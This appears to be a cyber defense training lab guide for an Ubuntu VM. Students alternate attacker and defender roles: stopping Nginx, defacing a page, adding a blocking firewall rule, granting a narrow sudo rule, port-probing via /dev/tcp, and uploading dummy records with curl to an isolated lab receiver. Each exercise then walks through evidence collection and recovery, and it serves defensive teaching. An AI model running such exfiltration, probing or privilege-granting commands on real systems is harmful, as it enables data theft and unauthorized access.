← Overview|......|Linux group login credentials →
Run these activities inside Ubuntu. Complete Getting Started first. See Overview for group organization.
Related checks are grouped in short command blocks. Run commands in order and compare their output with the expected results before continuing. Commands that change the system are explained separately.
Identify your hostname, IP, listeners and running services. Compare with Overview.
Confirm that the hostname is ccdc-linux:
hostname
Display the VM’s network addresses and routing table:
ip -br address ip route
Inspect listening ports and their owning processes:
sudo ss -lntup
Inspect service status and recent service messages:
systemctl status nginx ssh --no-pager
Inspect the firewall state and configured rules:
sudo ufw status verbose
Request the webpage and compare the response with the expected result for this step:
curl -fsS http://172.29.242.30/index.html
Official command documentation: hostname · sudo · ip · ss · systemctl · ufw · curl
Practice investigating and recovering from changes made by an attacker who already has system access.
Practice responding to a service outage caused by an attacker who already has administrative access. The attacker stops the web service, and the defender investigates, restores it, and verifies recovery. Follow the five steps below:
Verify the relevant services and record the results.
Record the time and confirm that the hostname is ccdc-linux:
date -u hostname
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh curl --max-time 5 -fsS http://172.29.242.30/index.html
Official command documentation: date
Location: your own computer, outside the VM. Before the attacker stops the service, confirm the website works from your own campus laptop. Open http://128.198.74.133:18080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.
Windows laptop, PowerShell:
curl.exe -i --max-time 5 http://128.198.74.133:18080/index.html
macOS/Linux laptop, Terminal:
curl -i --max-time 5 http://128.198.74.133:18080/index.html
Expect HTTP 200 and the page text CCDC Linux storefront: operational. Compare the response with the
service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest
HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do
not stop networking, RDP or TCP itself.
Record the time, stop Nginx once, then hand over. Do not change anything else.
Record the time for comparison with the evidence:
date -u
Stop only Nginx for the assigned attacker action:
sudo systemctl stop nginx
Location: your own computer, outside the VM. With the HTTP service stopped, test again from your own campus laptop before the defender restores it. Open http://128.198.74.133:18080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.
Windows laptop, PowerShell:
curl.exe -i --max-time 5 http://128.198.74.133:18080/index.html
macOS/Linux laptop, Terminal:
curl -i --max-time 5 http://128.198.74.133:18080/index.html
Expect a request failure, empty reply, timeout or HTTP error; the operational page must not be returned. IIS can return an HTTP error while its HTTP.sys TCP listener remains available. Compare the response with the service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do not stop networking, RDP or TCP itself.
Confirm the outage before changing the system. A failed curl and an inactive service are expected in this round. Record output or screenshots; the journal provides evidence of a service change, not necessarily the actor's identity.
Record the time for comparison with the evidence:
date -u
Request the webpage and compare the response with the expected result for this step:
curl --max-time 5 -i http://172.29.242.30/index.html
Inspect service status and recent service messages:
systemctl status nginx --no-pager
Inspect the relevant log records for the exercise time window:
sudo journalctl -u nginx --since "15 minutes ago" --utc --no-pager
Inspect listening ports and their owning processes:
sudo ss -lntup
Official command documentation: journalctl
Verify the relevant services and record the results.
Start Nginx to restore the web service:
sudo systemctl start nginx
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh curl --max-time 5 -fsS http://172.29.242.30/index.html
Inspect the HTTP listener:
sudo ss -lntp 'sport = :80'
Record the time for comparison with the evidence:
date -u
Location: your own computer, outside the VM. After restoring the HTTP service, repeat the same request from your own campus laptop. Open http://128.198.74.133:18080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.
Windows laptop, PowerShell:
curl.exe -i --max-time 5 http://128.198.74.133:18080/index.html
macOS/Linux laptop, Terminal:
curl -i --max-time 5 http://128.198.74.133:18080/index.html
Expect HTTP 200 and the page text CCDC Linux storefront: operational. Compare the response with the
service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest
HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do
not stop networking, RDP or TCP itself.
Verify the relevant services and record the results.
Investigate unauthorized changes to a webpage even when the web service still responds. Follow the steps below:
In Terminal inside your assigned Ubuntu VM, confirm the starting service state and webpage:
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh curl --max-time 5 -fsS http://172.29.242.30/index.html
Both services should be active and the page should show CCDC Linux storefront: operational.
Confirm the same content from your campus laptop at the Linux
website. Continue only when the baseline is correct. If a previous round left the page changed, restore that
round’s saved original using Step 4 before starting a new round; do not save the changed page as a trusted copy.
Before the attack, run the following commands one at a time to create a new exercise directory and save the original page and baseline checksum yourselves. Check each result before continuing. Use the same Terminal window throughout one round. When you switch roles, repeat Step 1 to create a new directory for the next round. The previous round’s files remain saved.
Create a new directory for this round’s recovery files or evidence:
case_dir=$(mktemp -d "$HOME/CCDC-Exercise-1-2.XXXXXX")
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh curl --max-time 5 -fsS http://172.29.242.30/index.html
Save a recovery copy of the operational page:
sudo cp -a /var/www/html/index.html "$case_dir/original.html"
Save the page’s SHA-256 checksum:
sudo sha256sum /var/www/html/index.html > "$case_dir/original.sha256"
Display the directory path and record it before continuing:
printf '\nExercise directory: %s\n' "$case_dir"
Official command documentation: mktemp · cp · sha256sum · printf · Bash syntax
Record the printed exercise directory; it contains original.html and original.sha256.
Keep both files unchanged. If you reopen Terminal during a round, set case_dir to that round’s recorded
path before continuing.
Note: in a real environment, store the trusted recovery copy and baseline checksum outside the victim computer so an attacker who compromises that computer cannot alter them.
In the Ubuntu VM, record the time and replace only the exercise webpage with the marker below. Keep Nginx, SSH and remote desktop running. Do not modify your recovery copy or baseline checksum. Hand over to the defender after the change.
Record the time for comparison with the evidence:
date -u
Replace only the exercise webpage with the assigned changed-page marker:
printf '%s\n' '<!doctype html><html lang="en"><title>CCDC exercise</title><p>CCDC exercise: changed page</p></html>' | sudo tee /var/www/html/index.html
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh curl --max-time 5 -i http://172.29.242.30/index.html
Official command documentation: tee
Expect HTTP 200 with the changed page. This is a content-integrity incident even though the service remains active.
From your campus laptop, open the Linux website with a fresh request and confirm that the operational content has changed. Then run the following inside the Ubuntu VM to preserve evidence in a separate folder within this round’s exercise directory:
Set the evidence-folder path and create the folder with access limited to your trainee account:
evidence_dir="$case_dir/evidence" mkdir -m 700 "$evidence_dir"
Record the changed file’s metadata and checksum as evidence:
sudo stat /var/www/html/index.html | tee "$evidence_dir/stat.txt" sudo sha256sum /var/www/html/index.html | tee "$evidence_dir/hash.txt"
Save the changed page before recovery:
sudo cat /var/www/html/index.html > "$evidence_dir/page.txt"
Save the relevant log records in the evidence folder:
sudo journalctl -u nginx --since "20 minutes ago" --utc --no-pager > "$evidence_dir/nginx-journal.txt"
Inspect the latest web access records and save them as evidence:
sudo tail -n 100 /var/log/nginx/access.log > "$evidence_dir/access.txt"
Request the webpage and compare the response with the expected result for this step:
curl -i http://172.29.242.30/index.html
Official command documentation: mkdir · stat · cat · tail
Compare the changed file’s hash with the checksum you saved in Step 1 using the read-only command below. A mismatch is expected after the attack; it confirms that the webpage differs from the baseline. Preserve the changed page before recovery. File timestamps and service logs alone do not establish who edited the page.
sudo sha256sum -c "$case_dir/original.sha256"
After preserving the evidence, restore your trusted recovery copy from Step 1 using the individual commands below in the Ubuntu VM. Do not use the changed page as the recovery baseline.
Restore the original page saved before the attack:
sudo cp -a "$case_dir/original.html" /var/www/html/index.html
Compare the current webpage against the saved baseline checksum:
sudo sha256sum -c "$case_dir/original.sha256"
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh curl --max-time 5 -fsS http://172.29.242.30/index.html
Expect /var/www/html/index.html: OK, active services and the original operational content. Repeat the
laptop HTTP check with a fresh request and verify that it also shows CCDC Linux storefront: operational.
Practice check: show the changed page and preserved evidence, demonstrate that the restored hash matches the baseline, and confirm normal HTTP and SSH service. Explain why HTTP 200 alone did not prove the page was correct. Keep this round’s evidence and recovery copy, then reverse attacker and defender roles and repeat from Step 1 with a new exercise directory. No written report submission is required.
Investigate an HTTP outage caused by a firewall change while the web service remains running. Follow the steps below:
Run the guest commands in Terminal inside your assigned Ubuntu VM. First inspect the existing firewall rules and services:
Inspect the current numbered firewall rules and whether UFW is active:
sudo ufw status numbered
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh xrdp curl --max-time 5 -fsS http://127.0.0.1/index.html
UFW must report Status: active, all three services must be active and the local page must show the
operational storefront. From your campus laptop, open the Linux
website with a fresh request and confirm the same page. Do not continue until these baseline checks pass.
If a rule marked CCDC-Exercise-1-3 is already present, complete Step 3 before starting a new round.
Record the time, then add the following HTTP-only rule once:
Record the time for comparison with the evidence:
date -u
Add the labeled HTTP-only exercise rule once:
sudo ufw insert 1 deny in proto tcp from 172.29.242.0/24 to any port 80 comment 'CCDC-Exercise-1-3'
Inspect the current numbered firewall rules and whether UFW is active:
sudo ufw status numbered
The rule is placed before the existing HTTP allow rule. It blocks incoming TCP port 80 from the lab subnet, including requests forwarded by the campus relay. It does not block SSH on port 22 or remote desktop on port 3389. Leave Nginx running and keep your remote desktop session open. Do not change other firewall rules or the host firewall.
From your campus laptop, make a fresh request to the same website. Expect a timeout, request failure or relay error instead of the operational page. A successful TCP connection to the relay alone does not establish HTTP availability. Hand over to the defender after demonstrating the failure.
Before changing anything, run the following inside the Ubuntu VM:
Record the time for comparison with the evidence:
date -u
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh xrdp curl --max-time 5 -fsS http://127.0.0.1/index.html
Inspect the listening ports and current firewall rules:
sudo ss -lntp 'sport = :80' sudo ufw status numbered
Record the output or screenshots. Nginx should remain active, port 80 should still have a listener and the loopback
request should return the operational page. Identify the CCDC-Exercise-1-3 deny rule above the HTTP allow
rule and record its source subnet, destination port and position. Compare this with the failed laptop request.
Explain why the evidence points to network filtering rather than a stopped web service. A successful loopback request tests the local service; it does not prove that requests from outside the VM are allowed.
After preserving the evidence, remove only the exact exercise rule using the command below. Leave UFW enabled and preserve the existing allow rules:
Remove only the exact HTTP exercise rule:
sudo ufw delete deny in proto tcp from 172.29.242.0/24 to any port 80 comment 'CCDC-Exercise-1-3'
Inspect the current numbered firewall rules and whether UFW is active:
sudo ufw status numbered
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh xrdp curl --max-time 5 -fsS http://127.0.0.1/index.html
Record the time for comparison with the evidence:
date -u
Confirm that UFW remains active, the exercise deny rule is absent and the original allow rules remain. Repeat the laptop HTTP request with a fresh request; it must now return the operational storefront. All three services should still be active and your remote desktop session should remain connected.
Practice check: show the external HTTP failure, the running local service, the exercise rule and successful external recovery after removing that rule. Explain how this differs from Task 1.1. Keep your evidence, then reverse attacker and defender roles and repeat from Step 1. No written report submission is required.
Investigate an exercise account with excessive privileges and contain its access while preserving legitimate services. Complete the four steps below yourselves, then switch roles and repeat.
Use only the dedicated ccdc-demo account for this exercise. Keep your assigned trainee account’s privileges
unchanged. This task starts with access to an account; it does not involve guessing or cracking passwords.
In Terminal inside the Ubuntu VM, use your assigned trainee account with sudo. Run each command separately and check its result before continuing.
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh xrdp curl --max-time 5 -fsS http://172.29.242.30/index.html
All three services should be active and the page should show the operational storefront. Confirm the same page from your campus laptop at the Linux website.
Check whether the exercise account already exists:
getent passwd ccdc-demo
Expect no output. Then check for an existing exercise sudo rule:
sudo ls -l /etc/sudoers.d/ccdc-exercise-1-4
Expect a “No such file or directory” message. If either the account or rule exists, finish the previous round’s cleanup before continuing. Do not overwrite an existing rule.
Create the dedicated exercise account:
sudo useradd --create-home --shell /bin/bash --comment 'CCDC Task 1.4 exercise account' ccdc-demo
Set its temporary exercise password and share it with the student acting as attacker:
sudo passwd ccdc-demo
The password characters will not appear as you type. Enter the same temporary password twice.
Open a new exercise sudo rule in Nano using the syntax-checking sudoers editor:
sudo EDITOR=nano visudo -f /etc/sudoers.d/ccdc-exercise-1-4
Enter this single line in the editor. It grants permission only to stop Nginx:
ccdc-demo ALL=(root) NOPASSWD: /usr/bin/systemctl stop nginx
Press Ctrl+O, then Enter to save, and Ctrl+X to exit. If visudo reports a syntax error, choose to edit again and correct the line; do not force it to save an invalid rule.
Check that the sudo configuration is valid:
sudo visudo -c
Confirm the exercise account does not belong to the sudo group:
id ccdc-demo
Check its granted command:
sudo -l -U ccdc-demo
The listed permission should be limited to /usr/bin/systemctl stop nginx. Continue only after the
syntax check passes and the account has the expected privilege.
Official command documentation: getent · visudo · useradd · passwd · nano · id
Open a second Terminal inside the same Ubuntu desktop. Switch only this shell to the exercise account, entering its temporary password:
su - ccdc-demo
Confirm that whoami prints ccdc-demo, then stop Nginx using the granted command:
Confirm the exercise account’s identity and inspect its permitted sudo commands:
whoami sudo -l
Record the time for comparison with the evidence:
date -u
Attempt to stop Nginx using the exercise account’s granted command:
sudo -n /usr/bin/systemctl stop nginx
Official command documentation: su · whoami
The stop command should succeed without a sudo password prompt. From your campus laptop, request the website again; it should no longer return the operational page. Leave this exercise shell open for the containment test. Do not stop SSH or remote desktop, and do not change any other service, account or rule.
Return to the original Terminal running as your assigned trainee account. Keep this Terminal open through Step 4. Record the account, the sudo grant, service state and relevant events:
Create a new directory for this round’s recovery files or evidence:
case_dir=$(mktemp -d "$HOME/CCDC-Exercise-1-4.XXXXXX")
Record the time for comparison with the evidence:
date -u
Record the exercise account’s identity, groups and sudo permissions:
id ccdc-demo | tee "$case_dir/account.txt" sudo -l -U ccdc-demo 2>&1 | tee "$case_dir/sudo-permissions.txt"
Save the exercise sudo rule before removing it:
sudo cat /etc/sudoers.d/ccdc-exercise-1-4 | tee "$case_dir/sudo-rule.txt"
Check and record the service states in the evidence file:
systemctl is-active nginx ssh xrdp | tee "$case_dir/services-before.txt"
Save the Nginx and sudo log records for the exercise time window:
sudo journalctl -u nginx --since '20 minutes ago' --utc --no-pager > "$case_dir/nginx-journal.txt" sudo journalctl _COMM=sudo --since '20 minutes ago' --utc --no-pager > "$case_dir/sudo-journal.txt"
Nginx should be inactive while SSH and remote desktop remain active. The saved rule and permission listing establish the excessive access. Available logs may help establish timing; a missing event does not prove an action did not occur.
Remove only the exercise sudo rule, validate the remaining policy and restore Nginx. Run each command separately; continue past the policy check only if it reports that the configuration parsed successfully:
Remove only the exercise sudo grant:
sudo rm /etc/sudoers.d/ccdc-exercise-1-4
Validate the remaining sudo configuration; expect a successful parse before continuing:
sudo visudo -c
Start Nginx to restore the web service:
sudo systemctl start nginx
Official command documentation: rm
In the attacker’s existing ccdc-demo shell, repeat exactly the same command:
sudo -n /usr/bin/systemctl stop nginx
Expect denial, such as a password-required or not-allowed message. Do not enter another account’s password or rerun the test from the trainee shell: that account intentionally retains sudo access. In the defender Terminal, confirm that the denied attempt did not stop Nginx:
Check the service states and request the webpage; compare both with the expected results for this step:
systemctl is-active nginx ssh xrdp curl --max-time 5 -fsS http://172.29.242.30/index.html
Repeat the laptop HTTP check; it must return the operational storefront. Revoking sudo does not end an existing shell.
In the attacker Terminal, run exit to leave the exercise account, and close any other shells or processes
you started as that account. In the defender Terminal, remove only the dedicated exercise account and its home folder
after retaining the evidence in your trainee account’s exercise directory:
Remove only the dedicated exercise account and its home folder:
sudo userdel --remove ccdc-demo
Confirm the exercise account has been removed; expect no output:
getent passwd ccdc-demo
Check that the exercise sudo rule is absent and immediately display the result code; expect 0:
sudo test ! -e /etc/sudoers.d/ccdc-exercise-1-4 echo $?
Check and record the service states:
systemctl is-active nginx ssh xrdp
Official command documentation: userdel
Expect no account output from getent, result code 0 for the absent exercise sudo rule, and
active services. Keep the evidence, reverse roles and repeat from Step 1 with a fresh exercise account.
Practice check: show the successful attacker action, saved account and privilege evidence, the denied repeat attempt and normal service after recovery. Explain why removing this permission differs from merely restarting Nginx. No written report submission is required.
Identify a process sending dummy business data out of the victim VM, contain the connection and verify normal service. Follow the five steps below:
This exercise uses curl as a visible simulator and sends only the supplied fictional records. The receiver
at 172.29.242.1:18081 is on the isolated lab host, outside the victim VM. It accepts only the exact dummy
payload. No startup mechanism is installed. Use only this destination and the supplied file.
Use your assigned trainee account in Terminal inside the Ubuntu VM. Download
the dummy business-data file unchanged into Downloads inside
the VM. If using an offline copy of this pack, copy the same file from lab-assets into Downloads.
Check the services and confirm UFW is active:
systemctl is-active nginx ssh xrdp sudo ufw status verbose
Check the operational webpage and the isolated receiver:
curl --max-time 5 -fsS http://172.29.242.30/index.html curl --max-time 5 -fsS http://172.29.242.1:18081/health
Expect active services, an active firewall, the operational storefront and receiver mode
dummy-data-only. Confirm the storefront also loads from your campus laptop. Complete earlier tasks’
cleanup before starting this task; continue only after these checks pass.
Create a fresh exercise directory and display its path:
case_dir=$(mktemp -d "$HOME/CCDC-Exercise-1-5.XXXXXX") printf 'Exercise directory: %s\n' "$case_dir"
Copy only the supplied dummy file into this round’s directory:
cp "$HOME/Downloads/dummy-business-data.txt" "$case_dir/dummy-business-data.txt"
Inspect its fictional content and record its checksum:
cat "$case_dir/dummy-business-data.txt" sha256sum "$case_dir/dummy-business-data.txt"
Expect the heading CCDC TRAINING DATA ONLY and two fictional customer records. Keep this Terminal open
for the attacker’s command so case_dir remains available.
Record the UTC time:
date -u
Run one transfer of the supplied dummy file to the lab receiver:
curl --connect-timeout 3 --max-time 150 --data-binary "@$case_dir/dummy-business-data.txt" http://172.29.242.1:18081/upload/linux
The data is sent immediately. The receiver deliberately delays its acknowledgement for 120 seconds so the connection and sender process remain visible. Leave this command running and hand over to the defender. If it finishes before investigation, repeat this single transfer once to observe a live connection. An HTTP 400 response means the file differs from the supplied dummy data; do not substitute any real file.
Open a second Terminal in the same Ubuntu desktop, using your assigned trainee account. Keep the attacker’s Terminal open. Record evidence before stopping its process.
Create a separate evidence directory:
evidence_dir=$(mktemp -d "$HOME/CCDC-Task-1-5-evidence.XXXXXX")
Find the connection to TCP port 18081 and save its details:
sudo ss -ntp 'dport = :18081' | tee "$evidence_dir/connections.txt"
Find the entry whose remote address is 172.29.242.1:18081. Record its local port, process name and
pid= value. It should identify the running curl process.
Replace 1234 with that observed curl PID, then inspect its owner and complete command line:
ps -p 1234 -o pid,user,comm=NAME,args=ARGS | tee "$evidence_dir/process.txt"
Read and save the independent receiver’s recent Linux receipts:
curl --max-time 5 -fsS http://172.29.242.1:18081/receipts/linux | tee "$evidence_dir/receipts-before.txt"
Find the receipt matching this round’s time and source IP 172.29.242.30. Compare its SHA-256 value
with the checksum recorded in Step 1, and inspect the fictional payload. A receipt establishes that the dummy data
reached the receiver even if the sender is still waiting for its acknowledgement.
Official command documentation: ps
Confirm the PID belongs to this exercise’s curl command, then stop only that process from the defender Terminal. Replace 1234 with the PID you inspected; do not terminate a service or unrelated process.
Stop the identified sender:
kill 1234
Official command documentation: kill
Check for an existing outbound exercise rule before adding another:
sudo ufw status numbered
If a rule labeled CCDC-Exercise-1-5 is already present, use that rule for the containment check.
Otherwise add the following single rule:
Block only outbound TCP traffic to the isolated receiver:
sudo ufw insert 1 deny out proto tcp from any to 172.29.242.1 port 18081 comment 'CCDC-Exercise-1-5'
In the attacker Terminal, repeat the transfer with a shorter timeout:
Verify that another attempt cannot reach the receiver:
curl --connect-timeout 3 --max-time 5 --data-binary "@$case_dir/dummy-business-data.txt" http://172.29.242.1:18081/upload/linux
Expect a connection failure or timeout. This demonstrates prevention of another transfer to this receiver; stopping a process or blocking traffic cannot undo data that was already received. Record the time and result.
Confirm the sender connection is gone and the services remain active:
sudo ss -ntp 'dport = :18081' systemctl is-active nginx ssh xrdp
Verify that normal HTTP is still available:
curl --max-time 5 -fsS http://172.29.242.30/index.html
Expect no established sender connection, active services and the operational storefront. Repeat the campus laptop HTTP check and confirm your remote desktop session remains usable. No startup entry was installed in this exercise; ending curl removes this simulator’s running process.
After recording containment evidence, remove only the outbound exercise rule:
sudo ufw delete deny out proto tcp from any to 172.29.242.1 port 18081 comment 'CCDC-Exercise-1-5'
Verify the rule is absent and read the receipt list after restoring lab connectivity:
sudo ufw status numbered curl --max-time 5 -fsS http://172.29.242.1:18081/receipts/linux
The failed blocked attempt should have no matching new receipt. Earlier receipts remain as evidence of completed transfers. Preserve your evidence directory. In the attacker Terminal, remove only this round’s copied dummy file:
Remove the copied exercise file after the debrief:
rm "$case_dir/dummy-business-data.txt"
Practice check: show the sender’s destination and PID, the receiver receipt and matching dummy-data checksum, the failed blocked retry and normal services. Switch roles and repeat from Step 1. No written report submission is required.
Practice service discovery, authentication and request-log investigation, and analysis of a supplied incident timeline.
Compare the attacker’s view of reachable ports with the defender’s service inventory. Follow the steps below:
Use the assigned guest only. In these single-VM simulations, the attacker uses a normal guest terminal to generate network requests; target administration is reserved for the defender. The attacker uses the assigned account only to generate traffic; this login does not demonstrate a successful intrusion. Run the attacker’s commands without elevation.
Record listening ports before the attacker’s scan. Use the listener inventory to confirm TCP 65000 is unused; omit that comparison port if it is in use. Required ports are 22 (SSH), 80 (HTTP), and 3389 (RDP).
Record the time for comparison with the evidence:
date -Is
Inspect listening ports and their owning processes:
sudo ss -lntup
Check and record the service states:
systemctl is-active nginx ssh xrdp
Probe only these four ports once. A failed connection can mean a closed port or filtering; it is not a conclusive firewall diagnosis. Save the displayed results for comparison.
Test TCP port 22 (SSH) once and immediately display its result code:
timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/22' echo $?
Test TCP port 80 (HTTP) once and immediately display its result code:
timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/80' echo $?
Test TCP port 3389 (remote desktop) once and immediately display its result code:
timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/3389' echo $?
Test TCP port 65000 (the comparison port) once and immediately display its result code:
timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/65000' echo $?
For each port, record its result code before running the next test: 0 means the connection opened,
124 means the two-second timeout expired, and another nonzero code means the test failed. A refusal or
timeout does not by itself distinguish a stopped service from filtering.
Official command documentation: timeout · echo
Complete: show the four results, the matching listener inventory, and a normal HTTP response. No configuration cleanup is needed. The local pass does not establish laptop reachability or test the relay firewall. Windows TCP 53 does not verify UDP DNS.
Investigate rejected authentication attempts and distinguish the evidence from a successful login. Follow the steps below:
Defender, Ubuntu terminal: establish the baseline and note the current time. Confirm the test account does not exist. If getent prints an account, choose a different nonexistent
test name and use it consistently in this task.
Record the time for comparison with the evidence:
date -Is
Confirm the test username is absent; expect no account output:
getent passwd ccdc-probe-no-user
Check and record the service states:
systemctl is-active ssh nginx
Inspect the relevant log records for the exercise time window:
sudo journalctl -u ssh --since '10 minutes ago' --no-pager
Before the first connection, the defender records the VM’s public SSH host-key fingerprint in the original Terminal:
ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub
Attacker, a second Ubuntu terminal: this loopback exercise works without another group's VM. Run once, enter arbitrary dummy text at the password prompt, and expect Permission denied. Repeat manually at most twice more to compare several failures; do not exceed three attempts in this round.
ssh -o HostKeyAlgorithms=ssh-ed25519 -o PreferredAuthentications=password -o PubkeyAuthentication=no -o NumberOfPasswordPrompts=1 ccdc-probe-no-user@127.0.0.1
In the attacker’s Terminal, compare any ED25519 host-key prompt with that recorded fingerprint before accepting it. This local SSH test should show a loopback source in the authentication evidence.
Official command documentation: ssh-keygen
Inspect the relevant log records for the exercise time window:
sudo journalctl -u ssh --since '10 minutes ago' --no-pager
If the unit-filtered query missed records, check the SSH daemon records:
sudo journalctl -t sshd --since '10 minutes ago' --no-pager
The second query is a fallback if unit filtering misses SSH records. Find the test username, invalid-user or
authentication-failure message, timestamp, source and source port. Distinguish log lines from attempts: one attempt
can create several records. Explain why testing a nonexistent account demonstrates rejected authentication without
risking a real account lockout. The journal is the primary source here; /var/log/auth.log may not exist
on this VM.
Investigate requests for a missing file and a deliberately exposed dummy backup. Follow the steps below:
Attacker, Ubuntu terminal: prepare the deliberately exposed dummy file using your assigned trainee account. This is scenario setup; the following network requests do not demonstrate how administrative access was obtained.
Check that the dummy-backup path and missing-file path are absent:
sudo ls -l /var/www/html/ccdc-probe-backup.txt /var/www/html/ccdc-probe-missing.txt
Expect “No such file or directory” for both paths. If the known dummy backup remains from an earlier round, complete Step 3 before starting again. Do not overwrite an unknown existing file.
Publish only the fictional exercise marker as the exposed backup:
printf '%s\n' 'CCDC DUMMY BACKUP - NO REAL SECRETS' | sudo tee /var/www/html/ccdc-probe-backup.txt
Now make the following three requests once each, without sudo. The first is normal traffic; the other two model someone looking for files without logging in.
Request the webpage and compare the response with the expected result for this step:
curl -i --max-time 5 http://172.29.242.30/index.html
Request the missing exercise path; expect HTTP 404:
curl -i --max-time 5 http://172.29.242.30/ccdc-probe-missing.txt
Request the dummy backup path and record its HTTP status:
curl -i --max-time 5 http://172.29.242.30/ccdc-probe-backup.txt
Defender: inspect Nginx access records. Expect 200 for the normal page, 404 for the missing path and 200 with clearly labeled dummy text for the published backup. If results differ, inspect the setup rather than claiming success.
Inspect the latest web access records:
sudo tail -n 60 /var/log/nginx/access.log
Find requests for the exercise probe paths:
sudo grep 'ccdc-probe-' /var/log/nginx/access.log | tail -n 20
Locate the source, timestamp including timezone offset, method, request path and HTTP status. A request to a suspicious path shows probing; a 200 with the dummy content shows information was available without authentication. Neither alone proves command execution or a server takeover. Requests made on this server do not demonstrate an external network boundary.
Preserve the relevant log entries before cleanup. Confirm that this exact file contains only the exercise dummy marker. Then remove only the exercise file; keep Nginx and SSH running.
Read the exercise file and confirm it contains only the dummy marker:
sudo cat /var/www/html/ccdc-probe-backup.txt
Remove only the displayed dummy exercise file; confirm the exact path when prompted:
sudo rm -i /var/www/html/ccdc-probe-backup.txt
Request the dummy backup path and record its HTTP status:
curl -i --max-time 5 http://172.29.242.30/ccdc-probe-backup.txt
Request the webpage and compare the response with the expected result for this step:
curl -fsS --max-time 5 http://172.29.242.30/index.html
Check and record the service states:
systemctl is-active nginx ssh
Inspect the latest web access records:
sudo tail -n 15 /var/log/nginx/access.log
Accept 404 for the removed file and the operational storefront for index.html. Observe both results in
the log. Explain how removing exposed data changes the outcome even though requests can continue. For
authentication, propose supported MFA, SSH keys or source restrictions and identify how each would be tested. Do not
change SSH authentication, UFW rules or shared passwords during this round; those changes require a separate
recovery plan.
Practice check: show one rejected SSH attempt and its evidence; show the web file before and after mitigation; explain one ordinary-error explanation and one suspicious pattern. State what the evidence cannot prove. Demonstrate a legitimate service check still passes. No written report is required.
Reference: Nginx access logging.
Trace a short sequence of web requests through the access logs and explain the evidence. Follow the steps below:
Use the assigned guest only. In these single-VM simulations, the attacker uses a normal guest terminal to generate network requests; target administration is reserved for the defender. The attacker uses the assigned account only to generate traffic; this login does not demonstrate a successful intrusion. Run the attacker’s commands without elevation.
The defender confirms access logging is enabled and the two probe paths below do not exist, then records the time and normal page response. This exercise uses web access logs as network-request evidence; it is not a packet-capture exercise.
Make a baseline request and inspect the newest access records:
curl --max-time 5 -fsS http://172.29.242.30/index.html sudo tail -n 5 /var/log/nginx/access.log
Confirm the two probe files do not exist; expect “No such file or directory” for both:
sudo ls -l /var/www/html/ccdc24-missing.txt /var/www/html/ccdc24-backup.zip
Run once: four sequential requests, separated by one second. The unique marker distinguishes the round from background traffic. Give the marker to the defender after it locates the pattern.
Create a marker for this round:
marker="ccdc24-$(date +%s)"
Display and record the marker:
printf 'Round marker: %s\n' "$marker"
Make request 1 to index.html:
curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/index.html?round=$marker"
Wait one second before the next request:
sleep 1
Make request 2 to ccdc24-missing.txt:
curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/ccdc24-missing.txt?round=$marker"
Wait one second before the next request:
sleep 1
Make request 3 to ccdc24-backup.zip:
curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/ccdc24-backup.zip?round=$marker"
Wait one second before the next request:
sleep 1
Make request 4 to index.html:
curl --max-time 5 -sS -o /dev/null -w '%{http_code} %{url_effective}\n' "http://172.29.242.30/index.html?round=$marker"
Official command documentation: sleep
sudo tail -n 120 /var/log/nginx/access.log | grep 'ccdc24-'
Use the actual configured Nginx log path if it differs. Combined access logs include the request path and query. Preserve each timestamp’s timezone offset when comparing evidence.
Repeat one normal index request and confirm operational content. Retain the relevant log lines; do not clear the logs. No files, accounts or rules were changed. Reverse roles with a new marker. Complete: show the ordered requests, explain their significance and uncertainty, and demonstrate normal service.
Analyze a simulated service-degradation incident using the supplied CSV timeline. Follow the steps below:
This is a concrete offline investigation using a supplied synthetic incident dataset. It does not generate a flood or change the live service. The attacker introduces the incident evidence; the defender diagnoses it, proposes containment, and validates the recovery evidence.
Save the Linux incident CSV into Downloads inside the VM. If viewing this pack on a laptop, copy the CSV into the VM first. The commands below use that Downloads path; adjust it if needed. Each row is a one-minute measurement. requests and http_5xx are counts; p95_ms is the 95th-percentile response time in milliseconds; cpu_pct and memory_pct are percentages. The documentation-range source IP is fictional and must not be contacted.
Tell the defender: “Users report slow pages and intermittent errors starting at 10:02 UTC. The service monitor still reports the web service running.” Provide the CSV. Do not stop the real service or send load traffic.
Display the incident timeline as a table:
column -s, -t "$HOME/Downloads/dos-linux-timeline.csv"
Read the seven measurement rows and match each value to its column heading. Use a calculator to compute these quantities from the rows you select:
100 × http_5xx ÷ requests.peak requests ÷ baseline requests. State which baseline minute you use.100 × top_source_requests ÷ requests for the peak minute.The peak minute is the row with the largest request count. Record its time, source address and source request count. Compare the computed results with service state, latency and CPU before deciding what the evidence supports.
Official command documentation: column
